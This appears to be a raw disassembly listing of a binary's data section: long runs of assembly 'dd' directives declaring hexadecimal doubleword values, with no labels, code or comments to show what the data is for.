		dd 0CEE3B3DEh, 0ACD3F3C6h, 1BF52C98h, 7AC5C3DEh, 0D8C4681Bh
		dd 8FC9AA3Ah, 94A89EB0h, 0E5FFC078h, 0BEFDF5D6h, 0C36DFB48h
		dd 58192E12h, 0D7A986BDh, 0D4B0B35Bh, 55ADC2FAh, 9EDBFB9Ah
		dd 6CDCA878h, 6FD73273h, 2CF88272h, 0DC51D2D1h,	67AAB70Dh
		dd 0AF4F6FDAh, 6DF494C7h, 6CDFDE69h, 0C92E3AA4h, 15DD79CDh
		dd 365C0EB6h, 9EC9F4F1h, 0FE7B90A4h, 90FBF312h,	1F824608h
		dd 0AAE5D4BAh, 0DC29E23Eh, 39673F02h, 0E6D9E0E0h, 0F763E3FDh
		dd 3086813Fh, 840E8AB0h, 4FDC8088h, 0D9FFFA42h,	2D159AFEh
		dd 3C115906h, 0E4D5FFF8h, 0E3801258h, 0AB83A3DFh, 81087582h
		dd 990AB284h, 101413F9h, 3151FEDFh, 0BDC34085h,	42F96453h
		dd 0EB248820h, 0EDD38C5Ah, 0CA598CAh, 0D8949990h, 206CA77Ah
		dd 0C13F842Ch, 0D9E5E17Ch, 10A9DAE4h, 808E0A0Eh, 3C1CC88Ah
		dd 9D9CD8A4h, 7AD31CD4h, 902CA4FAh, 0D2ECFD24h,	0CD762C5h
		dd 5F41C0D3h, 319EC9DDh, 28AAF208h, 57C79869h, 20F3C0ECh
		dd 0BCE5D30Ch, 80DDA45Ch, 33C7D253h, 223E7DD7h,	32EC243Ah
		dd 0E75822B6h, 0F92883B7h, 0A45FC90Eh, 1FD6BB70h, 9DE94C43h
		dd 26F4DD1Ah, 8C024A66h, 0F6C5AC19h, 0BEC648DFh, 0B244F771h
		dd 98DE1878h, 69D6F2D5h, 612F61C9h, 2138C62Dh, 0B2A1DE8h
		dd 0D02D4614h, 8F39B498h, 0C5A6EFD7h, 43FCA26Ch, 4B4C4976h
		dd 52FF796Fh, 0C73431DFh, 0B3025DBh, 9A474810h,	6F374C43h
		dd 65FA6DECh, 866AC43h,	0D238DC94h, 1F677494h, 1CFEB4ECh
		dd 282FE9D3h, 0FF74DF02h, 4DB5D07Bh, 0AA5C8B6Dh, 6EC53E48h
		dd 9C94DDC9h, 0B0949E1Dh, 28A3B918h, 0B1B5268h,	0B07ACE64h
		dd 0CD947C55h, 0E043C94Ch, 551169B7h, 0C82841DEh, 36EEEFC0h
		dd 65B266E5h, 0A206F402h, 36D4DCF6h, 48F8E2D8h,	31F3AA89h
		dd 1986F223h, 60F530D4h, 22EF9E49h, 0D6EB12C8h,	9298AD54h
		dd 85827221h, 0D936D31h, 0B0690A84h, 37D0EE0Dh,	5BFF69ECh
		dd 18064309h, 92BC9A3Eh, 0C0E18FD5h, 0D0E35B21h, 0D0E19F90h
		dd 0DE13CD91h, 92AE368Ah, 0BE69F0A2h, 0BEC5F5EBh, 0ED075140h
		dd 0DBF094C0h, 150D42D6h, 1A07F2FDh, 0CC1E9FFBh, 3FF0391Dh
		dd 0C138EB2Ah, 9DC5D87Ch, 940B5D8Eh, 9D6C924Eh,	0F9907CECh
		dd 0F99A931Ch, 0E0655F6Fh, 8FB083F5h, 0FA41873h, 0E3F1FCE7h
		dd 0CB0D47E3h, 3846901Bh, 8A0C660Ch, 8AD45114h,	8E50AB06h
		dd 0CFC54C10h, 480C1F68h, 430CA1B0h, 2DEDD1D3h,	1A835628h
		dd 101A0282h, 4DC23F6Ah, 0D56E1032h, 33721FDAh,	9ED6D734h
		dd 0CAF69A16h, 5918932Bh, 0F26221EBh, 0E399A4C4h, 1018E839h
		dd 8DF064D2h, 34991524h, 560A56A5h, 0DFE00A7Bh,	85E0680Ah
		dd 82F4FCE2h, 0D650DE58h, 24E4D43Ch, 0F19AB4F6h, 0FC3C4328h
		dd 4CDE4EC2h, 0F9FE2ECCh, 528C2CD8h, 44CC0C9Ah,	0CEF39271h
		dd 39370AAFh, 0FF3842BBh, 0EF0994EFh, 0C20527FFh, 3FC7E464h
		dd 0CA93CA1Fh, 8055871Ch, 8EE3C914h, 460B53B5h,	196132FEh
		dd 0A334F914h, 75C44DF2h, 32C2F126h, 10C2F35Ch,	0F2EE7AC4h
		dd 0E74C09A4h, 98174352h, 0DCFDF948h, 0BF9DEE62h, 6F98D7A6h
		dd 4E9097F2h, 0C013906Ah, 5F4F7431h, 5BF4CCE5h,	0DB1BB272h
		dd 0E8124958h, 7E6E5E3h, 94DC3BE7h, 8CF543A8h, 0C8B5E4B8h
		dd 0B165B33Eh, 90EA18FAh, 3D536DE0h, 84BEF982h,	83450EF8h
		dd 70604C4Fh, 0C4748A1Ch, 7F71B70Fh, 5B48E0BDh,	0DCC8B42h
		dd 51C5A494h, 0D607DA48h, 20FBBC63h, 0B4FCAC12h, 0A87554CDh
		dd 0EEEF5280h, 0F439EBEDh, 5D1E946Eh, 0BEB80F33h, 74333B17h
		dd 0DAEE7381h, 0F5D4E980h, 0BCEBFCA9h, 0FAC06CFh, 0B8CB41ABh
		dd 10B95C33h, 0D8E060E2h, 397441C4h, 80E7A43Ch,	583AF95Ah
		dd 74DA664Fh, 0EEC57DB6h, 0F5391860h, 3A6B24B4h, 0C8599320h
		dd 3E02BC16h, 5CBEFEh, 9D67983h, 0E17E7D90h, 858EEFA2h
		dd 0A4F51DB7h, 3B543043h, 6F6E368h, 57A8A914h, 16A03729h
		dd 9476C983h, 0DE00A822h, 0A3F99FBBh, 0A2B19351h, 0B85286B2h
		dd 802CCDFh, 0B41D9718h, 877D4430h, 0A0DA743Bh,	0C1B8DAFCh
		dd 0C0AA1452h, 63460677h, 9E1D17E8h, 3132E76Dh,	206120B4h
		dd 36F95521h, 7D3B08E5h, 0E18FCFFDh, 81A8E564h,	14E4C47h
		dd 92476C3Bh, 6AFE01E7h, 0E5002FE3h, 0CE7035A0h, 19E064BAh
		dd 5BBC02B4h, 0A814A555h, 0FCEBBB01h, 7BB46DAAh, 0DE51512Ch
		dd 4E282660h, 6089BE3Ah, 7E5F1482h, 0B010D050h,	1A209E27h
		dd 0A0940832h, 0A2B71CA2h, 0D43207FBh, 0EE80F0B3h, 0C0A10372h
		dd 0C8B81DACh, 9C93EEB8h, 0ECB0107Fh, 423F87B0h, 1D422D9Bh
		dd 9A98521Dh, 90919581h, 8B4EADB0h, 350162A4h, 0F2FD7B40h
		dd 20AC251h, 92DB78B1h,	0A74E4F62h, 0B2F0D207h,	290F3E0h
		dd 0E7E4F5FEh, 0EE3E2FFh, 0F7CE4EDFh, 81FDF1E7h, 9E809E81h
		dd 0FE5EFC30h, 0B5306B4h, 0B4D66FDCh, 8633E4Ch,	0E3BFD7DBh
		dd 1E2EC0C5h, 0D1192083h, 4887FD51h, 1E80E882h,	769F3395h
		dd 0E4F2162Eh, 6D32906Eh, 96FA1680h, 90145275h,	0B790C321h
		dd 0BCFEA0BCh, 8A48BFEFh, 15BAA1B4h, 6489065h, 0D9300F64h
		dd 0A038A2FBh, 10E0AFE3h, 2F322703h, 641550B8h,	4AF5E71Fh
		dd 0FBD46383h, 0FBC7FBDFh, 0F27765C3h, 0A025080h, 0FC899140h
		dd 0EC24AD85h, 10D19E3Ch, 0BD6AE253h, 90B888B0h, 0E73C6A44h
		dd 0B22F9085h, 5B126B3h, 2924F653h, 0F09008F7h,	28FFB6F3h
		dd 55FEA067h, 3AA50320h, 0FBF85038h, 0F4F2FFh, 0CADAA931h
		dd 0F9544200h, 801F98ACh, 0A0C40A95h, 5FE6E3D7h, 0E0228A65h
		dd 90B118C5h, 0BA08088Fh, 88F68009h, 0BEA00D67h, 0C9ECBF40h
		dd 2C87F902h, 1F8FF594h, 0EC94E101h, 0D0122140h, 0B4416CB8h
		dd 38A8D303h, 12EF6E80h, 6117A6EAh, 4FB2B12Fh, 0B2B32F27h
		dd 3FD12D4h, 26B9B31Ah,	1285F2A8h, 388FC4E7h, 68A12C27h
		dd 0A4882395h, 2FE06849h, 0FF8EA37h, 8D1CD33Eh,	33D329E4h
		dd 0E9C196AFh, 0E6EC463Fh, 7F09F950h, 1F53F5F5h, 0B3BBF1B5h
		dd 737271B4h, 4EE0884h,	6E874BEh, 82FF7800h, 7FA6C0FBh
		dd 0C8A20063h, 0DE0FF7EAh, 0ACA43851h, 80EDB43Bh, 79AC5B3Ah
		dd 0A0582FA1h, 2BA09BD4h, 0E5CED0F8h, 4AA839D6h, 0B3208410h
		dd 0C38CAD06h, 0B412AC61h, 1C4E4F50h, 4A29FA37h, 0A293E7A8h
		dd 6641E0ECh, 1FFDD7F5h, 5EB4A19Eh, 0A7B42522h,	91D0AF08h
		dd 0A43458F2h, 33AA87A2h, 69CDD302h, 67029A08h,	58263C3Dh
		dd 0B4AC327Bh, 0E1B07A56h, 7901B178h, 0B43011CCh, 14289A0Bh
		dd 8F377AB0h, 0C7B43088h, 3C088D8h, 851331C2h, 0B4B2A542h
		dd 0D1A9B208h, 8900D09h, 350B5B32h, 0EB2F7396h,	59E396D5h
		dd 62749182h
		dd 0C0C808DBh, 5C3BE500h, 0E6A0E433h, 1F407FD5h, 1344F577h
		dd 16471998h, 4C099F48h, 852158CDh, 84402884h, 88191FA7h
		dd 0E0003D19h, 698A54Fh, 70351EC0h, 6E58B5C5h, 0A6AAABC7h
		dd 6B41105h, 73797083h,	62E16197h, 4A6204Ch, 0FE310D4Fh
		dd 0D833B0EAh, 64DA8390h, 317C7805h, 1491BDC4h,	78D1860h
		dd 0A1B8C571h, 58106419h, 0C9C4BE05h, 0C2A0C035h, 0B1D836E0h
		dd 0F4222E73h, 0F72264A1h, 98DFC9D8h, 5B4F6C20h, 0A269A45Eh
		dd 305C061Eh, 7030C845h, 0CE98B4BDh, 8A51027h, 8C1A8111h
		dd 0A330DB4h, 90DAA074h, 0DA166D10h, 0B75BDD98h, 0EDA93B51h
		dd 0BE08BE39h, 94B5B9CDh, 0C53ADA95h, 250AA450h, 0B2C1A778h
		dd 0F090BD5Bh, 587EB0A4h, 346791BBh, 0B8FB0430h, 0C8E211A1h
		dd 0A2DA8A98h, 59B8C4DFh, 0BAFF58A6h, 3D3444D8h, 8055C54Fh
		dd 73501313h, 3200B8CCh, 0DA812535h, 722C02BAh,	0A0F2B213h
		dd 0A259CAA4h, 8C687A7Ah, 0F4533D71h, 68530D65h, 6CB71343h
		dd 445C0922h, 9B924440h, 3D174850h, 63C73CD1h, 64E05C0Ch
		dd 8506C94h, 81B8A098h,	93A8C053h, 64684251h, 0D500C2Eh
		dd 7545E99h, 0B4B11038h, 0D08BF34h, 385FAB88h, 486DD8A6h
		dd 544CD1D8h, 0DA9E7712h, 0B94851DBh, 28EEC118h, 0C8BC9009h
		dd 5058C24Ch, 0AEB4F4EAh, 51245FAAh, 83456508h,	14193076h
		dd 0BA98F42Ah, 0A01C63A6h, 0A1B57780h, 84F6F40Bh, 31489C0Ah
		dd 9533D683h, 4D164380h, 0D5133F57h, 4572898h, 1A46ED89h
		dd 0BB26E116h, 1FB55548h, 58C1E465h, 7226ED51h,	2C9EFB4h
		dd 45987C0Eh, 0A8A50969h, 54796614h, 0CF0E488Bh, 259469D4h
		dd 0A4C81694h, 4D9C5887h, 7279A2CFh, 484188B8h,	0F408FD6Ah
		dd 875809B5h, 8D630DAFh, 482AA220h, 0C528A378h,	0C81B6A8h
		dd 11D61050h, 1306A044h, 5B21CF24h, 2433305Ah, 626C3021h
		dd 168C854Fh, 0A14090C8h, 54352439h, 0D338A9Fh,	0B5923006h
		dd 0B1BAA659h, 0A23CF980h, 6411189h, 0B953813h,	5B4F253Bh
		dd 651016A4h, 0D61D4A78h, 0F74D977h, 0A6B3B6B2h, 762CC8B3h
		dd 0A558B0A7h, 13B5C3D0h, 89ADA46Ch, 163122CCh,	0C927B4DAh
		dd 62D8B863h, 0A46CFFCBh, 82149811h, 48A53DB8h,	9C1562E0h
		dd 698A16Ch, 0D7A8BC3Fh, 1A80222Ah, 91BA5658h, 0A4284682h
		dd 17521825h, 0DD0B5F10h, 345BEC7Eh, 0C17EB1A2h, 267813BCh
		dd 108534F8h, 4D2D1B64h, 99A03264h, 0E0ABBBC8h,	4A84E480h
		dd 1361E23Bh, 0B866A464h, 58152474h, 700E4C1Dh,	0A1314A45h
		dd 98093EA0h, 11078AC9h, 82F28B0Dh, 93A9C323h, 0FB34B30Eh
		dd 8B1F145Ch, 0C51753B5h, 7C5182B2h, 0C524279Ch, 8206F99h
		dd 90C3F014h, 29BDCA30h, 363C390Ah, 0A224D5BEh,	0E2B007BCh
		dd 1138C506h, 983BA7B8h, 8353D046h, 3D156C21h, 89E0260Dh
		dd 6927754Fh, 0F948A817h, 879F8949h, 4448F7F3h,	9B56E408h
		dd 0F248E1AAh, 0B52B343Dh, 8C44E550h, 1C475653h, 0CFA4FE22h
		dd 61A71BF3h, 22B34B34h, 2E0920DDh, 0CA07B9A0h,	68E764F4h
		dd 0EBF0906h, 21D2E991h, 4105ED9Eh, 0E542580Fh,	449190B0h
		dd 6FC4F073h, 762D74AEh, 0AC1A0C1Eh, 0F04454A8h, 5B3F48E3h
		dd 8A869C53h, 6BA1129Bh, 30E0F00Ah, 0A64F6B48h,	39A3C258h
		dd 2124B65Bh, 0A0CD977h, 0DEF8C79h, 1AFD36F6h, 427C0C88h
		dd 6A59AC0Ch, 53311326h, 7D6157A4h, 9806B2B4h, 484ACA90h
		dd 0A8ACF144h, 0BB78BC10h, 0CCF82EEEh, 4D414C86h, 88059252h
		dd 1EC91E08h, 13795C7Dh, 24194A2h, 405325B8h, 9EC58AB5h
		dd 1B9417D2h, 0CA90E185h, 91BC2A58h, 93A46958h,	9B5D5520h
		dd 244B7A0Dh, 4D20BA5Bh, 3119A065h, 0D94358EAh,	1A7ED153h
		dd 63EF59B7h, 172030ADh, 5CBD6833h, 0FFA83694h,	1C828154h
		dd 89CD4C38h, 0C02A961Ah, 59C6373Fh, 0D871B5B5h, 71244BADh
		dd 512A261Ah, 96CD9422h, 0C1A9C415h, 93A0D813h,	2FB665C0h
		dd 91829190h, 0AB2205C5h, 0E2158FEh, 735C10BBh,	9EEB58CAh
		dd 57F7C53Ch, 0B729080Fh, 663EB612h, 18A48CFAh,	6ABD06C4h
		dd 718B6D90h, 9ABE51C5h, 28812004h, 0AD12B231h,	186B1FB9h
		dd 847DB8BCh, 59D2441Fh, 0D80BE962h, 17F7BED4h,	378D33EBh
		dd 58FD90DCh, 50B9B626h, 5C590977h, 22D06B69h, 963EA219h
		dd 0BA7821F6h, 4EAC13Bh, 0FA621EB9h, 29DB905Bh,	3E21B105h
		dd 0C817437Dh, 4E0FEDE5h, 0D5124217h, 2258F211h, 0E433B1C0h
		dd 0E11F402Eh, 0A4F85988h, 0A2EC42A4h, 10152A28h, 3B1A9938h
		dd 22D5DA13h, 5419A7B1h, 0DE103807h, 27ED8B79h,	4D58F1AAh
		dd 5F3809B9h, 34B6C486h, 6CF562F3h, 40ACA22Eh, 684A13A1h
		dd 68D344Ah, 4A9D2833h,	0F565612Fh, 0C05EB96Ch,	0B6CC83A9h
		dd 772A4446h, 2278B551h, 42D3481Ch, 2258860Ch, 2A5931F9h
		dd 4AE8D815h, 6A3488AEh, 66CBC6C3h, 0B6581DF3h,	0D8F887F8h
		dd 82A67B4Ch, 8457C966h, 0FCA0883Bh, 8F73794Eh,	6413C490h
		dd 50F8C1C7h, 404A394Bh, 0BF2DD106h, 0D79283Fh,	0B2D534C1h
		dd 0CFF90A0Ah, 2C6C09F6h, 0F3998521h, 200BCA1Ah, 0B30F21F4h
		dd 0D708F544h, 6503F659h, 67594F15h, 15FCC812h,	0E1C83917h
		dd 0CD766F15h, 0D1C35E2h, 427581E3h, 14162E39h,	9E3CFDCh
		dd 72D536DBh, 6602D342h, 0D54014B1h, 401AAEBBh,	0DAEE0D6h
		dd 0AE94D840h, 1AD9664Ah, 592B698Eh, 0DE9012F2h, 902CD12Bh
		dd 64A121C1h, 1AAE0AC3h, 1B0AC5E4h, 4AB91139h, 0D8B5CC02h
		dd 0CBF3730Ch, 58187E9Eh, 5964456Bh, 6EB2496Eh,	82B1F0C5h
		dd 0F619017h, 94211670h, 0A5449867h, 486D1533h,	4CDDBE0Dh
		dd 0BE548014h, 10A3353Bh, 0FA083D45h, 0C8B324A7h, 56CA4649h
		dd 33C013D7h, 5071D158h, 3D3BB414h, 3438073Fh, 358AB0BDh
		dd 46EF6CF3h, 23A4700Eh, 243C12CAh, 4C78B38Dh, 0B5F43317h
		dd 0EA0D1A64h, 0C8590723h, 761261DDh, 901F5434h, 353DBCD1h
		dd 98600AA2h, 45CA4D09h, 0C5D8D5B9h, 17D1A687h,	6A04D8E0h
		dd 0A1718884h, 60BB6448h, 92928258h, 1C155364h,	12AB69A1h
		dd 3C462F39h, 0CF5315ACh, 84CFA226h, 0AD78D31Ch, 0BF53C6AAh
		dd 4743581Fh, 4370AB68h, 0DA112E50h, 0A08521A9h, 0A6CC20B2h
		dd 0B6725819h, 211A9325h, 7AA11145h, 15A59432h,	8F411B7h
		dd 664FFD4Dh, 5720BE23h, 6FBF5022h, 52463F6Eh, 644515A0h
		dd 852E0F3Fh, 0D4003212h, 54CAE029h, 5377BE4Bh,	58683421h
		dd 0E6B110D8h, 580E215Ah, 87244893h, 37BAD32h, 0A540D88Fh
		dd 0A65E5D72h, 9845F237h, 8E4603F3h, 1870444Fh,	0A10634A0h
		dd 1AAF24D8h, 88476F58h, 38E2C6C3h, 5D630C84h, 0A9812357h
		dd 4F22805Bh, 90BC01F1h, 0D8BCA733h, 0EF6DBA41h, 1414BE99h
		dd 0A7BCB204h, 64B7744Ah, 9EED3CA4h, 0D2AB6B8Ch, 0AA6493E0h
		dd 35C92ADDh, 0F968E208h, 0A51512B4h, 3576E471h, 0B20F6C64h
		dd 5EBF6D08h, 116EAF0Dh, 3EE4B8BCh, 42112650h, 43485A52h
		dd 0B405CC6Ch, 0A56A02B5h, 0E7A8CF4h, 0F53D8884h, 0C844450h
		dd 0A424AA45h, 0D7689A30h, 48F3D229h, 28DCE7F0h, 9E98AA12h
		dd 9258A9Ch, 38346294h,	0CCB4643Eh, 719C3708h, 1B238DC4h
		dd 536AEC45h, 68719021h, 52A0210Bh, 5AFF1B14h, 0A96C8553h
		dd 7411A66Fh, 0B5C2ADA9h, 0B828111Bh, 89238D30h, 432EF4C4h
		dd 38848AC1h, 0A84823D4h, 16929556h, 243237F3h,	630D28C0h
		dd 9A4250D8h, 73759619h, 0C912E811h, 1017B12Ch,	74162C14h
		dd 5C92FA8Bh, 1E09D3B4h
		dd 71A860D8h, 3E51E9B1h, 130C6432h, 551767Bh, 9036940Fh
		dd 8A02463Ah, 56BAB84Fh, 8CAC2220h, 0E3B4950Ch,	334789B6h
		dd 0AA66732Fh, 114818E2h, 0E11311D0h, 0ECF4AAB2h, 8ED0AA1h
		dd 0D44284E8h, 0DD116421h, 0F4F2D24Dh, 9A68D830h, 49D19921h
		dd 2913DD08h, 20412C5Ch, 0E3EAD22Eh, 0B6E4226Dh, 0FC13057Eh
		dd 0E80822A6h, 9835AD28h, 88528B97h, 30D42FB1h,	76E012DDh
		dd 84482605h, 0B7A62BD7h, 0FC941B21h, 97E2D2F2h, 334C92D8h
		dd 0E0847015h, 18BCA41Fh, 531680DAh, 7333F869h,	0DBC6A55Dh
		dd 0CF4F349Dh, 0BC458B0Fh, 0B346C8C3h, 8FC116D3h, 4677565Bh
		dd 0BDF22842h, 3CFD3A30h, 5B1938A0h, 0FBC5454h,	0A2C3A0C2h
		dd 0BCFDF133h, 64609EDBh, 756F5FB9h, 422CFACDh,	360AAE29h
		dd 8B2D4806h, 48A7AC71h, 8D8ED7BDh, 681682CDh, 0B2ED7083h
		dd 2BAFAD8Ah, 0C9C5B17h, 469D8344h, 0D7B5C540h,	79D85B29h
		dd 0E34558C8h, 0CDF60A26h, 3BB4B951h, 256D180Dh, 3A72EC54h
		dd 0C99E11B7h, 91114990h, 7C7C4852h, 39F236E5h,	17FB0E08h
		dd 65788B43h, 277D046Fh, 142CA573h, 49A4178Dh, 9A448EEh
		dd 0DE52A5ABh, 0BCBCB04Ch, 58D7AA47h, 0D469B839h, 231497A0h
		dd 0E9B3C43Fh, 8D75309Ah, 1ED29230h, 5487C5B1h,	3F490995h
		dd 440DD29Fh, 0EC8A15CFh, 1837F419h, 0B7B95428h, 45B5770Ah
		dd 0F256AB4h, 0E62590F8h, 40E3EE1Bh, 78DC1022h,	0C5391783h
		dd 57459D54h, 5071C1D6h, 13002AA0h, 6BFA95Bh, 3115A3B5h
		dd 0BD14A81Eh, 3F510869h, 884ABBA0h, 58F6B840h,	3BFBC5F6h
		dd 63AC491Ah, 0CC0E412Fh, 0BE0769DAh, 0CEB81057h, 95BBD3D2h
		dd 0ACC40F4Bh, 9FCAD811h, 2AD7C50Ch, 4C936A5Ch,	0A4541D3Fh
		dd 484C20E3h, 0B4271740h, 38DFBE6Eh, 0C34B39A4h, 0A8C2ACB0h
		dd 29B74690h, 18BAB540h, 0A8C31689h, 1BBC1BB1h,	21C59958h
		dd 5B42B268h, 89CD9762h, 7C05205Bh, 8C33E2EEh, 12775B74h
		dd 0DC4DF435h, 16F5D0AFh, 63C04B0Eh, 1F6FF8A8h,	0B6533244h
		dd 0D9FA55A0h, 48E8361Bh, 14FBEC22h, 90F04AFDh,	8F693DBFh
		dd 0E87AD191h, 0B2A24CEh, 794B3D34h, 16756ADh, 0B4D6CEDBh
		dd 9467BD30h, 4D163504h, 0A04D6DCFh, 595C12D2h,	8286F9BEh
		dd 8B0D1107h, 0C39590F2h, 0D20EA4ADh, 0D45CE0A1h, 571218A2h
		dd 78455D5Ch, 14C52B38h, 80D339Dh, 94C3F00Ah, 533C5134h
		dd 59BD392Dh, 49D02E3Bh, 0B8070466h, 80302861h,	639E8C42h
		dd 867DC33Bh, 3F4EC023h, 4EC4C442h, 902B422Bh, 473C9E80h
		dd 0C4508C21h, 0C076844Eh, 30F6EF86h, 0B293A0DAh, 2335591Ch
		dd 5973562Bh, 497FD9Eh,	19A1E8E3h, 0ABA7FC6Eh, 9F99AE62h
		dd 884C26E0h, 755B8B9Ch, 48CCB659h, 0DA5B84E8h,	0EA0599Dh
		dd 0A41C9DF3h, 71DC96CAh, 55EA535Eh, 0D2A0F088h, 0C4F92983h
		dd 7583A384h, 0AEDD5841h, 0C516456Eh, 2C623495h, 628CE31Ah
		dd 3C3327BBh, 295B991Bh, 88886D4Ah, 0B0CA3BCh, 0D94C99C4h
		dd 3224EF87h, 0D1ECAA1Dh, 0DE37B8D9h, 51430B2Eh, 3A619EE6h
		dd 30643899h, 0BE333972h, 0A8B29A0Dh, 0FAC18F27h, 0BC35D95Bh
		dd 166C9465h, 47A5989h,	0E0C1C6B4h, 0DFA57258h,	836313E4h
		dd 92C75B34h, 0C92992AFh, 15B6A1F0h, 0B8145040h, 8EB22F58h
		dd 44B44DECh, 1F58E6D9h, 1DB667C5h, 48252AF8h, 46C8444Ah
		dd 0B019855Bh, 9196960Bh, 0A1EB7D40h, 8B470F61h, 96A3C5F2h
		dd 25F74231h, 578972B4h, 8A4CC4EEh, 0EC219577h,	44E4815h
		dd 804596A3h, 0DC4C5242h, 627C5ABCh, 0D8204864h, 11938FC9h
		dd 0A392B348h, 123AA011h, 1E2CBAC5h, 62E4B15Dh,	0D802B3A8h
		dd 5853B0B8h, 25AA8B4Ch, 8C558857h, 0FC367797h,	594D42AFh
		dd 47C8893Ah, 31B90D85h, 0C616020Ch, 0D8520344h, 0DF1B5F28h
		dd 0D2ACF30Dh, 60088C05h, 3D3B88C4h, 0F4A90CA3h, 1E92C6B1h
		dd 2AEDAAF8h, 0B19FD972h, 3E166829h, 0AE044045h, 0C5B30603h
		dd 5CA429A2h, 922218Fh,	7D7AB858h, 1B16184Bh, 0B4D360B3h
		dd 0AB4F8CE0h, 0C197DB8Ah, 144A70B7h, 0A2341772h, 124A0C5Eh
		dd 0B570060Ch, 0A37F5934h, 33C0D7FCh, 0EEC4A050h, 4888D82Ah
		dd 924A5C21h, 0A63B601Ch, 16A584D8h, 0DFD5A549h, 80481364h
		dd 41975C94h, 134CBC1Dh, 0DD8AE558h, 0E0308F5Bh, 4DD758BCh
		dd 9B145B9Bh, 31BCB244h, 9C4A1A4Ch, 5B419F7Bh, 0B44D01Dh
		dd 30A5BD31h, 8D65633Ah, 22141B46h, 0DB3091CCh,	19107FD4h
		dd 0C411FAF1h, 98957BB2h, 49703363h, 482963B4h,	35164957h
		dd 188ADA29h, 4710FFA4h, 425C7A50h, 0B006404Dh,	590A53B1h
		dd 16224108h, 29097656h, 0D61726F0h, 9EBD0332h,	980D8414h
		dd 779D8431h, 7F074C96h, 0BA0DDB3Ch, 1C0E39D6h,	58333318h
		dd 6702E80h, 0B34CFD06h, 0CCF3278h, 0B297945Bh,	6BC9E6ACh
		dd 97465124h, 35441FD8h, 776AA122h, 0C22C20DDh,	24219990h
		dd 0DDD9EF96h, 948AA129h, 983C923Ah, 0A384204Eh, 45F8FF6Ch
		dd 91FCBCF8h, 68FC880Eh, 52E05110h, 80A84439h, 45F0C412h
		dd 5F2E9D5Bh, 0B64E4411h, 8CA9BB6Ah, 102AF4DAh,	5582784h
		dd 55775041h, 9EF7E80Ch, 31157C98h, 195482B1h, 55E2601Eh
		dd 9692453Bh, 6B2A376Ch, 57688519h, 5064680Ch, 3DCBB254h
		dd 0C4F05F1Ah, 38444F9Eh, 0D68C956h, 0A09C0C68h, 2A0C468Bh
		dd 296C745Bh, 9629EA98h, 4F337281h, 0B867D088h,	0A0AA2658h
		dd 569A13CEh, 265A5A42h, 0BAB50DDDh, 0E27D4329h, 2D7A6564h
		dd 0D26B3864h, 0B2075B69h, 0D61A0668h, 5497205h, 6CD9F644h
		dd 0FC249359h, 0E29C8C44h, 0F9684C12h, 5BEC8644h, 60747C64h
		dd 0F485A34h, 9BAB3A11h, 76736014h, 70DF8426h, 90EEFDDFh
		dd 5B21E2BEh, 3376D964h, 9C3B7871h, 0B2A4AD95h,	0F2B10F2Dh
		dd 0F47F2905h, 0A1761A9Fh, 176678B1h, 7138408Bh, 72D6B577h
		dd 804D2A8Eh, 0E297B320h, 0DAF90094h, 5A3DE9BBh, 430F430Dh
		dd 8B95D615h, 0E2D83F1Fh, 0D3B3DA0Bh, 0CFEB307h, 63F9B273h
		dd 75E0351Ah, 4CE4E40Bh, 28089574h, 0D6E0970Ch,	0C5F42EFh
		dd 3E618C8Dh, 8B942C08h, 24D84021h, 0AD3BEAE9h,	95E24B09h
		dd 895ACF04h, 5C22974Dh, 108442E6h, 4B187D4Dh, 0B4D7B269h
		dd 25956510h, 83BAA09Ch, 5BD8357Eh, 0E6765482h,	0AD86EB70h
		dd 0D98B072h, 5CB17428h, 2A18AAA3h, 79083078h, 7A1BCAB6h
		dd 15856039h, 25265C97h, 469CA39h, 7623249Ah, 0F2029EBh
		dd 0E02844B2h, 2A4370B2h, 2E21B949h, 0A32C1132h, 196CF527h
		dd 0BFB66D09h, 55A4F56Eh, 0CA766B6h, 81546840h,	90640C7Ch
		dd 383535E5h, 0A47FC25Dh, 23B6A994h, 133E3543h,	10A35B2Dh
		dd 0E14C1EA4h, 271510B4h, 3B5485B1h, 39D6350Bh,	8E32BCCEh
		dd 0B1A8F874h, 42198C5Eh, 56FDA425h, 94432B1Ah,	90152421h
		dd 0B1738523h, 44843C48h, 907008A4h, 45DDC8A0h,	2C0E6298h
		dd 14AA2791h, 0E154C916h, 0E126A651h, 0D4228E63h, 5870D912h
		dd 12EAB45Ch, 0B20430CBh, 0A8B1895Ch, 0E6EA487Dh, 8EF1506Fh
		dd 8B4A58B1h, 0CFC332A8h, 0A88D3326h, 0B5C6C562h, 7D1A213Dh
		dd 84A8228h, 0C39EC0Ch,	4FC32459h, 5C9B5158h, 5A8BE8C5h
		dd 0E20A7553h, 35BF0B24h, 8D31937h, 81987460h, 71310750h
		dd 5693BA58h, 0BC1B32B8h, 0FB1D6F10h, 0E821A373h, 0B419D4BFh
		dd 6E0D808Ch, 0BD6C1749h, 86A75F38h, 0BF4C480Dh, 12060551h
		dd 95A6A446h, 37822008h, 0E4EAFA4Eh, 8473C9Ch, 4CAC79C8h
		dd 432F5810h, 0EF432553h
		dd 0C94AD3F7h, 0BC6B303Dh, 0C4C2B225h, 76077C0Fh, 614C5CB3h
		dd 0AC99A5D6h, 0F89C0A0Ah, 5B531077h, 0B0491F6Ch, 0B51A6DC4h
		dd 0FCB62433h, 0AD04A05Eh, 51C85131h, 145DFBB3h, 5D47201Ch
		dd 0F1D60F60h, 7E222AA6h, 0A6300FACh, 0B8D81204h, 0E263B2F9h
		dd 39B03438h, 29C8484Fh, 3BB2B340h, 4E43B8C4h, 2CB3A2F1h
		dd 4EBA8403h, 4DB6DA4Bh, 30CE7841h, 0FBCAB25Eh,	0C5C645A0h
		dd 0F8A5292Ch, 0A20FA742h, 59D19CD2h, 75B27728h, 141A8BBDh
		dd 0D90C4FFCh, 39932E65h, 282F2AD8h, 3CA8522Eh,	74293BE2h
		dd 2028CC0Eh, 8441EB6h,	0B7D5F994h, 0C920664h, 128692EDh
		dd 3DBDA825h, 0C34B8C94h, 24695BB2h, 3F657C5Ah,	0B61CB931h
		dd 1B7B02C4h, 0DC50363Ah, 88CA7E82h, 9939CA70h,	42EC68Ch
		dd 0F0A3D613h, 0A4E192CCh, 38F38D2Bh, 0B308298Eh, 71013D9h
		dd 15BC853Ch, 35B44871h, 70373C59h, 0FF466932h,	0C2508B60h
		dd 0B7C159B5h, 9B14DB2Ch, 741B55B9h, 0B098295Fh, 4713A74Bh
		dd 0D95D2242h, 643D6825h, 37E09140h, 0D813F3C4h, 12238A45h
		dd 3381CAA9h, 12981229h, 0AF51DE1Eh, 11A61299h,	5E7E8D4Ch
